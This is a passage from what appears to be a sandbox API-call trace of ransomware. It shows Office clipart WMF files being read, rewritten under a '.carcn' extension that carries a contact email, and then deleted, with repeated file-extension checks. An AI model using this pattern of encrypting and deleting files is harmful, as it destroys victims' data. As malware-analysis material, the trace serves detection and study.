lstrlenW (lpString=".jpg") returned 4 [0305.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.921] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.921] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0305.922] GetLastError () returned 0x0 [0305.922] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1434, lpOverlapped=0x0) returned 1 [0305.933] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1440, lpOverlapped=0x0) returned 1 [0305.935] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.935] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.935] SetEndOfFile (hFile=0x348) returned 1 [0305.935] CloseHandle (hObject=0x348) returned 1 [0305.935] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.935] SetEndOfFile (hFile=0x35c) returned 1 [0305.937] CloseHandle (hObject=0x35c) returned 1 [0305.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0305.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0305.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0305.938] lstrlenW (lpString=".doc") returned 4 [0305.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.938] lstrlenW (lpString=".docx") returned 5 [0305.938] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0305.938] lstrlenW (lpString=".pdf") returned 4 [0305.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.938] lstrlenW (lpString=".xls") returned 4 [0305.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.938] lstrlenW (lpString=".xlsx") returned 5 [0305.938] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0305.938] lstrlenW (lpString=".ppt") returned 4 [0305.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0305.938] lstrlenW (lpString=".zip") returned 4 [0305.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.938] lstrlenW (lpString=".rar") returned 4 [0305.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.939] lstrlenW (lpString=".bz2") returned 4 [0305.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.939] lstrlenW (lpString=".7z") returned 3 [0305.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0305.939] lstrlenW (lpString=".dbf") returned 4 [0305.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0305.939] lstrlenW (lpString=".1cd") returned 4 [0305.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0305.939] lstrlenW (lpString=".jpg") returned 4 [0305.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.956] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.956] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0305.957] GetLastError () returned 0x0 [0305.957] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xd74, lpOverlapped=0x0) returned 1 [0305.958] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xd80, lpOverlapped=0x0) returned 1 [0305.959] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.959] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.960] SetEndOfFile (hFile=0x348) returned 1 [0305.960] CloseHandle (hObject=0x348) returned 1 [0305.960] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.960] SetEndOfFile (hFile=0x35c) returned 1 [0305.961] CloseHandle (hObject=0x35c) returned 1 [0305.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0305.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0305.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0305.962] lstrlenW (lpString=".doc") returned 4 [0305.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.962] lstrlenW (lpString=".docx") returned 5 [0305.963] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0305.963] lstrlenW (lpString=".pdf") returned 4 [0305.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.963] lstrlenW (lpString=".xls") returned 4 [0305.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.963] lstrlenW (lpString=".xlsx") returned 5 [0305.963] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0305.963] lstrlenW (lpString=".ppt") returned 4 [0305.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0305.963] lstrlenW (lpString=".zip") returned 4 [0305.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.963] lstrlenW (lpString=".rar") returned 4 [0305.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.963] lstrlenW (lpString=".bz2") returned 4 [0305.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.963] lstrlenW (lpString=".7z") returned 3 [0305.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0305.963] lstrlenW (lpString=".dbf") returned 4 [0305.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0305.963] lstrlenW (lpString=".1cd") returned 4 [0305.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0305.963] lstrlenW (lpString=".jpg") returned 4 [0305.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.964] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.964] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0305.965] GetLastError () returned 0x0 [0305.965] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0305.971] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0305.972] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.972] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.973] SetEndOfFile (hFile=0x348) returned 1 [0305.973] CloseHandle (hObject=0x348) returned 1 [0305.973] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.973] SetEndOfFile (hFile=0x35c) returned 1 [0305.974] CloseHandle (hObject=0x35c) returned 1 [0305.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0305.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0305.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0305.975] lstrlenW (lpString=".doc") returned 4 [0305.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.975] lstrlenW (lpString=".docx") returned 5 [0305.975] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0305.975] lstrlenW (lpString=".pdf") returned 4 [0305.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.975] lstrlenW (lpString=".xls") returned 4 [0305.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.975] lstrlenW (lpString=".xlsx") returned 5 [0305.975] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0305.975] lstrlenW (lpString=".ppt") returned 4 [0305.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0305.976] lstrlenW (lpString=".zip") returned 4 [0305.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.976] lstrlenW (lpString=".rar") returned 4 [0305.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.976] lstrlenW (lpString=".bz2") returned 4 [0305.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.976] lstrlenW (lpString=".7z") returned 3 [0305.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0305.976] lstrlenW (lpString=".dbf") returned 4 [0305.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0305.976] lstrlenW (lpString=".1cd") returned 4 [0305.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0305.976] lstrlenW (lpString=".jpg") returned 4 [0305.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.976] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.977] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0305.977] GetLastError () returned 0x0 [0305.977] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0305.980] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0305.981] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.981] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.981] SetEndOfFile (hFile=0x348) returned 1 [0305.981] CloseHandle (hObject=0x348) returned 1 [0305.981] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.981] SetEndOfFile (hFile=0x35c) returned 1 [0305.982] CloseHandle (hObject=0x35c) returned 1 [0305.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0305.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0305.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0305.984] lstrlenW (lpString=".doc") returned 4 [0305.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.984] lstrlenW (lpString=".docx") returned 5 [0305.984] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0305.984] lstrlenW (lpString=".pdf") returned 4 [0305.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.984] lstrlenW (lpString=".xls") returned 4 [0305.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.984] lstrlenW (lpString=".xlsx") returned 5 [0305.984] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0305.984] lstrlenW (lpString=".ppt") returned 4 [0305.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0305.984] lstrlenW (lpString=".zip") returned 4 [0305.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.984] lstrlenW (lpString=".rar") returned 4 [0305.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.984] lstrlenW (lpString=".bz2") returned 4 [0305.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.984] lstrlenW (lpString=".7z") returned 3 [0305.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0305.984] lstrlenW (lpString=".dbf") returned 4 [0305.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0305.984] lstrlenW (lpString=".1cd") returned 4 [0305.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0305.985] lstrlenW (lpString=".jpg") returned 4 [0305.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.986] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.986] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0305.987] GetLastError () returned 0x0 [0305.987] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1214, lpOverlapped=0x0) returned 1 [0305.989] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1220, lpOverlapped=0x0) returned 1 [0305.991] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.991] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.991] SetEndOfFile (hFile=0x348) returned 1 [0305.991] CloseHandle (hObject=0x348) returned 1 [0305.991] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.991] SetEndOfFile (hFile=0x35c) returned 1 [0305.993] CloseHandle (hObject=0x35c) returned 1 [0305.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0305.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0305.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0305.994] lstrlenW (lpString=".doc") returned 4 [0305.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.994] lstrlenW (lpString=".docx") returned 5 [0305.994] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0305.995] lstrlenW (lpString=".pdf") returned 4 [0305.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.995] lstrlenW (lpString=".xls") returned 4 [0305.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.995] lstrlenW (lpString=".xlsx") returned 5 [0305.995] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0305.995] lstrlenW (lpString=".ppt") returned 4 [0305.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0305.995] lstrlenW (lpString=".zip") returned 4 [0305.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.995] lstrlenW (lpString=".rar") returned 4 [0305.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.995] lstrlenW (lpString=".bz2") returned 4 [0305.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.995] lstrlenW (lpString=".7z") returned 3 [0305.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0305.995] lstrlenW (lpString=".dbf") returned 4 [0305.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0305.995] lstrlenW (lpString=".1cd") returned 4 [0305.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0305.996] lstrlenW (lpString=".jpg") returned 4 [0305.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.681] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.681] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.682] GetLastError () returned 0x0 [0306.682] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1714, lpOverlapped=0x0) returned 1 [0306.709] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1720, lpOverlapped=0x0) returned 1 [0306.710] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.710] WriteFile (in: hFile=0x348, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.710] SetEndOfFile (hFile=0x348) returned 1 [0306.711] CloseHandle (hObject=0x348) returned 1 [0306.711] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: 